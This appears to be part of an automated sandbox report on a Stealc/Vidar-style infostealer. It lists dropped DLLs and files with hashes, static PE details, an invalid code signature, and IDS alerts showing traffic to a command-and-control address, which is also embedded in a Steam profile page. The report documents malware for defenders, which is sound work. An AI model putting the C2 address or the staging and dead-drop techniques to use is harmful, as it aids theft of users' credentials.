Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHCAKKJDB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	13
Entropy (8bit):	2.8150724101159437
Encrypted:	false
SSDEEP:	3:+MEM:+BM
MD5:	AEE9784C03B80D38D3271CDE2B252B8D
SHA1:	E5FD9AA24C9417E7332E6F25936AE2A6EC8F1524
SHA-256:	27C2CCD962C2B8DCCB52FE3688AB236F186F7A41FD57D810478712048E9AD3F8
SHA-512:	A83C2F678A77228F5C7F2FB61A723217892B8422913739D1C65CB97701C341361EEEE617E9D050A86B552DB4DD87B18CFB94443977A75A5862171346609E9472
Malicious:	false
Preview:	Unknown error

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: nJohIBtNm5.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 66fb252fe232b_Patksl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: nJohIBtNm5.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 66fb252fe232b_Patksl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.8150724101159437
Encrypted:	false
SSDEEP:	3:+MEM:+BM
MD5:	AEE9784C03B80D38D3271CDE2B252B8D
SHA1:	E5FD9AA24C9417E7332E6F25936AE2A6EC8F1524
SHA-256:	27C2CCD962C2B8DCCB52FE3688AB236F186F7A41FD57D810478712048E9AD3F8
SHA-512:	A83C2F678A77228F5C7F2FB61A723217892B8422913739D1C65CB97701C341361EEEE617E9D050A86B552DB4DD87B18CFB94443977A75A5862171346609E9472
Malicious:	false
Preview:	Unknown error

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34879
Entropy (8bit):	5.398984021038028
Encrypted:	false
SSDEEP:	768:Mdpqme0Ih+3tAA6WGWefcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2q:Md8me0Ih+3tAA6WGWeFhTBv++nIjBtP+
MD5:	CB474CD24A9B82E2E77E067A1FC97F31
SHA1:	DDF7609BAAF037C4B074BA9193FE8E0D2EC9CFDE
SHA-256:	AD200D9A054496C714D8BB623D97B9249FB6A26892A420BC18BE35A0643C5DEF
SHA-512:	61218F8A37D6541D2CABC95253987F2BCE95AF567B3DC29B0465BA523F8F2B46A9FAC3C9576AFD77A09F27C77A2EC959C5742A8634D4AE9F2C00F9E422E9E977
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://49.12.197.9\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href=

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:1f/:F
MD5:	52EEA21AFDC1FA07894225ED9536D245
SHA1:	9F0EDB171DBF05A67ADEDA2C3FF1768D5066F9BE
SHA-256:	3A36D5B3161D3A27AE6D1390D5D959786DADF6860882022745B1F73190D04E9C
SHA-512:	EC45901B1BCB35F2B166C519EE6F7C072D46C13D94327415AC316E16DDB552C1CBCA807827132F0167D121ED762CB6364AC19BCCC2699A6D033A3B57929E7A69
Malicious:	false
Preview:	8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888

C:\Users\user\AppData\Roaming\msvcp110.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	594944
Entropy (8bit):	6.950278574609064
Encrypted:	false
SSDEEP:	6144:/JnGC1gieh7IGqNOIf/eDWeYUZ2q/MtTTwBfJA/gMdOPapZ5n1kM9KwdTVORr:2ieVqotaCsq/0TTMGHdKM9KwdTV4r
MD5:	D135B1643ABA57454EF94C7F29C3B178
SHA1:	3157D4150C3562E95D93A61C9CCE0F1DCEB7DEBC
SHA-256:	8BE5CF1CFED0A9F6EAF4C978511461AD39ED8A53DC1D8BE5C97990418B84B906
SHA-512:	45177DAA16018D6C2989963A6CDEB59B4CF037674B2F8BFAA85CB332A9A6AF291581E04880D2156C65D14760C5A3ED02BAF3DE340C31441F668DB028BBAA07C3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............................S................s...........4.......4......4...........4.....4.....Rich...........PE..L......f...........!...&.....................................................@............@.............................x.......<............................ ..H...P...................................@...............P............................text...C~.......................... ..`.rdata...k.......l..................@..@.data...............................@....reloc..H.... ......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465913296824278
Encrypted:	false
SSDEEP:	6144:azZfpi6ceLPx9skLmb0fBZWSP3aJG8nAgeiJRMMhA2zX4WABluuNLjDH5S:8ZHtBZWOKnMM6bFpZj4
MD5:	42BB7FF98BBC2C64A335A176D4A9F29E
SHA1:	823280E15AC96A74D8C00F4EDD4DD5810C55E142
SHA-256:	77F0CC2EC51F713BA2B5509823E3D60002AE85394D786B3F021FD5D07840DBA7
SHA-512:	B024AE441BEA17F4927169EEC1356EE52E7AACC8189B2FC99D2BCB7E6058CA50051D7C53A9CAE8CD661B92D6FBC654953BDDF4EA3A115CA5046FA66E5F3614AE
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm*.i.4.................................................................................................................................................................................................................................................................................................................................................~.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.891145170897587
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	418'480 bytes
MD5:	37ec6ac7a655216941a30dc46fe1b189
SHA1:	cf6637aabee2fd26a76e30db0a289201305372fb
SHA256:	677862ec62130345467fc6472bfbeff124fd2716897db3f8549c29f016ef13cd
SHA512:	ec33b2631e538d29bf35612e247ec61baf56c5202df6728b4e10b03ae6c9438ceafc698474b289b102ff3a6607d6399af24ed7daee4debd38062d48c22ac4edc
SSDEEP:	12288:nLYJvfeQmGFFxAKKWKuQLTRURHjZl3EBoYruJ3StafO:L5I5KW5pPW/n
TLSH:	6B94CE9D725036DFC813D8729EE81DA8FA6034BB931B4113A02355ADEE4DA97CF940F6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.....................X............... ....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x46800a
Entrypoint Section:
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FDF27F [Thu Oct 3 01:25:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo RSA Code Signing CA, O=Sectigo Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/03/2021 01:00:00 22/03/2024 00:59:59
Subject Chain	CN=Gary Kramlich, O=Gary Kramlich, STREET=2653 N 54TH ST, L=MILWAUKEE, S=Wisconsin, PostalCode=53210, C=US
Version:	3
Thumbprint MD5:	394B591BC2CE78B7CF207BF4082E62F4
Thumbprint SHA-1:	ADFA744AA074FB5DC57EE6445A3E18D606C7BF96
Thumbprint SHA-256:	AE7DB8B64E8ABD9D36876F049B9770D90C0868D7FE1A2D37CF327DF69FA2DBFE
Serial:	00F6AD45188E5566AA317BE23B4B8B2C2F

Entrypoint Preview

Instruction
jmp dword ptr [00468000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x587c0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0x728	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x60600	0x5cb0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x66000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x68000	0x8
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x58000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
n@G>6P	0x2000	0x54df0	0x54e00	bdf10184a4717097861fbd83ec9e12a6	False	1.00033367083947	data	7.9994507847955285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.text	0x58000	0xa7e8	0xa800	d71122b7a8a9143aeb9b1eaacfe94a8d	False	0.39074125744047616	data	4.738468827255519	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x64000	0x728	0x800	7265a8a1bb76b05d0539b6aa89c4c7eb	False	0.39404296875	data	3.85271303443794	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x66000	0xc	0x200	354e5ffc7f8a670c981da5a85608e4ce	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
	0x68000	0x10	0x200	530a5ee2413e60387bc5b0572eacef22	False	0.044921875	data	0.14263576814887827	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x640a0	0x49c	data			0.42542372881355933
RT_MANIFEST	0x6453c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T03:35:53.721399+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49722	49.12.197.9	443	TCP
2024-10-03T03:35:54.941629+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49723	49.12.197.9	443	TCP
2024-10-03T03:35:56.366413+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49724	49.12.197.9	443	TCP
2024-10-03T03:35:57.730654+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49725	49.12.197.9	443	TCP
2024-10-03T03:35:58.429123+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.6	49725	49.12.197.9	443	TCP
2024-10-03T03:35:58.429229+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	49.12.197.9	443	192.168.2.6	49725	TCP
2024-10-03T03:35:59.102733+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49726	49.12.197.9	443	TCP
2024-10-03T03:35:59.801644+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	49.12.197.9	443	192.168.2.6	49726	TCP
2024-10-03T03:36:00.559955+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49727	49.12.197.9	443	TCP
2024-10-03T03:36:01.905602+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49728	49.12.197.9	443	TCP
2024-10-03T03:36:04.977333+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49729	49.12.197.9	443	TCP
2024-10-03T03:36:06.117394+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49730	49.12.197.9	443	TCP
2024-10-03T03:36:07.390575+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49731	49.12.197.9	443	TCP
2024-10-03T03:36:08.845534+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49732	49.12.197.9	443	TCP
2024-10-03T03:36:10.824936+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49733	49.12.197.9	443	TCP
2024-10-03T03:36:12.845715+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49735	49.12.197.9	443	TCP
2024-10-03T03:36:14.763414+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49736	49.12.197.9	443	TCP
2024-10-03T03:36:16.183576+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49737	49.12.197.9	443	TCP
2024-10-03T03:36:17.668662+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49738	49.12.197.9	443	TCP
2024-10-03T03:36:20.838688+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49739	49.12.197.9	443	TCP
2024-10-03T03:36:22.146206+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49740	49.12.197.9	443	TCP
2024-10-03T03:36:23.489607+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49741	49.12.197.9	443	TCP
2024-10-03T03:36:25.031403+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49743	49.12.197.9	443	TCP
2024-10-03T03:36:27.088335+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49744	49.12.197.9	443	TCP
